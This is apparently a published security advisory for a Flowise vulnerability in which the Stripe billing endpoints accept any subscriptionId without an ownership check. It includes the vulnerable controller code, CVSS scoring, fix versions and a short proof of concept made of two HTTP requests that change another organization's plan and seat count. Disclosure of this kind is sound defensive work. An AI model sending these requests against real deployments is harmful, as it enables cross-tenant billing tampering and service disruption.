Skip to content

GHSA-gmmw-qg98-6j6p CVE-2026-70476

Flowise: Broken Access Control in Stripe Subscription Endpoints Allows Cross-Tenant Billing Manipulation

High npm
Severity
0.0 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.52%
Chance of exploitation in the next 30 days. Higher than 44.08% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-284 Improper Access Control
CWE-639 Authorization Bypass Through User-Controlled Key
Fix
3.1.3
Upgrade flowise to this version or later

Description

Summary

Several organization billing endpoints accept attacker-controlled Stripe identifiers (subscriptionId) without verifying that the identifier belongs to the authenticated user's organization. This allows an authenticated attacker to perform unauthorized Stripe subscription operations on other tenants. As a result, an authenticated user can manipulate the Stripe subscription of another organization by supplying a victim organization's subscriptionId.

This allows attackers to perform unauthorized billing operations such as changing subscription plans or modifying seat quantities, resulting in potential financial impact and service disruption.

Details

Multiple organization billing endpoints accept subscriptionId directly from user input without validating ownership. The server relies on a client-supplied Stripe subscription identifier rather than resolving the subscription from the authenticated user's organization context.

File

packages/server/src/enterprise/routes/organization.route.ts

Affected routes:

router.post('/update-additional-seats', organizationController.updateAdditionalSeats)
router.post('/update-subscription-plan', organizationController.updateSubscriptionPlan)
updateSubscriptionPlan

File

packages/server/src/enterprise/controllers/organization.controller.ts

public async updateSubscriptionPlan(req: Request, res: Response, next: NextFunction) {
    const { subscriptionId, newPlanId, prorationDate } = req.body

    const identityManager = getRunningExpressApp().identityManager

    const result = await identityManager.updateSubscriptionPlan(
        req,
        subscriptionId,
        newPlanId,
        prorationDate
    )

    return res.status(StatusCodes.OK).json(result)
}

The server trusts the user-supplied subscriptionId and forwards it to the Stripe integration layer.

Missing validation: subscriptionId belongs to req.user.activeOrganization

updateAdditionalSeats

public async updateAdditionalSeats(req: Request, res: Response, next: NextFunction) {
    const { subscriptionId, quantity, prorationDate } = req.body

    const identityManager = getRunningExpressApp().identityManager

    const result = await identityManager.updateAdditionalSeats(
        subscriptionId,
        quantity,
        prorationDate
    )

    return res.status(StatusCodes.OK).json(result)
}

Again, the subscriptionId is taken directly from the request body without verifying ownership.

PoC

Step 1 - Obtain victim subscriptionId

This identifier may be obtained via the organization read endpoint or other exposed references.

Example:

sub_YYYYYYYYYYYY

Step 2 - Modify victim subscription

POST /api/v1/organization/update-subscription-plan
Host: target.example.com
Cookie: token=<attacker-session>
Content-Type: application/json

{
  "subscriptionId": "sub_YYYYYYYYYYYY",
  "newPlanId": "free_plan_id",
  "prorationDate": 1735689600
}

Step 3 - Change seat quantity

POST /api/v1/organization/update-additional-seats
Host: target.example.com
Cookie: token=<attacker-session>
Content-Type: application/json

{
  "subscriptionId": "sub_YYYYYYYYYYYY",
  "quantity": 0,
  "prorationDate": 1735689600
}

Impact

An authenticated attacker can manipulate the Stripe subscription of other organizations.

Possible consequences include:

  • Unauthorized subscription upgrades to higher-priced plans
  • Manipulation of paid seat quantities leading to unintended charges
  • Service disruption through plan downgrades

Because the vulnerability allows cross-tenant manipulation of billing resources, it represents a high-impact authorization flaw.

Affected versions

npm

PackageVulnerableFixed in
flowise
< 3.1.3
3.1.3

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

flowise npm → 3.1.3

npm
npm install flowise@3.1.3
yarn
yarn add flowise@3.1.3
pnpm
pnpm add flowise@3.1.3

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
Present
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
None
Integrity (vulnerable system)
High
Availability (vulnerable system)
Low
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

CVSS 3.1 8.2

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
Low

Weakness

CWE-284: Improper Access Control

The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.

How to prevent it
  • Architecture and Design, Operation: Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
  • Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

CWE-639: Authorization Bypass Through User-Controlled Key

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

How to prevent it
  • Architecture and Design: For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.
  • Architecture and Design, Implementation: Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.
  • Architecture and Design: Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-w7x8-q2gp-5cgg
Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass
Critical Also affects flowise
GHSA-9gvv-qjj3-2p6g
Flowise NodeVM sandbox escape via puppeteer allowlist - authenticated RCE and arbitrary file read via Chromium
High Also affects flowise
GHSA-qgvm-j2hm-6m38
Flowise: Unauthenticated OAuth2 token refresh endpoint returns access tokens — enables token theft for any connected service
Critical Also affects flowise
GHSA-5xvg-pmgg-3mxr
Flowise: CSV Agent Prompt Injection Remote Code Execution Vulnerability
Critical Also affects flowise
GHSA-8gj2-2cvc-6xx7
Flowise: Unauthenticated Credential Abuse via Text-to-Speech Endpoint Allows Unauthorized Use of Private Chatflow TTS Credentials
Medium Also affects flowise
GHSA-fm2f-4339-4p2f
Flowise: Missing Authorization on Execution Update Endpoint
Medium Also affects flowise
GHSA-wch5-xp77-fxg4
Flowise: Cross-Workspace OAuth2 Credential Metadata Leak
High Also affects flowise
GHSA-rwrp-9823-p2xq
Flowise: Incomplete Credential Redaction Exposes Secrets via API
High Also affects flowise
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor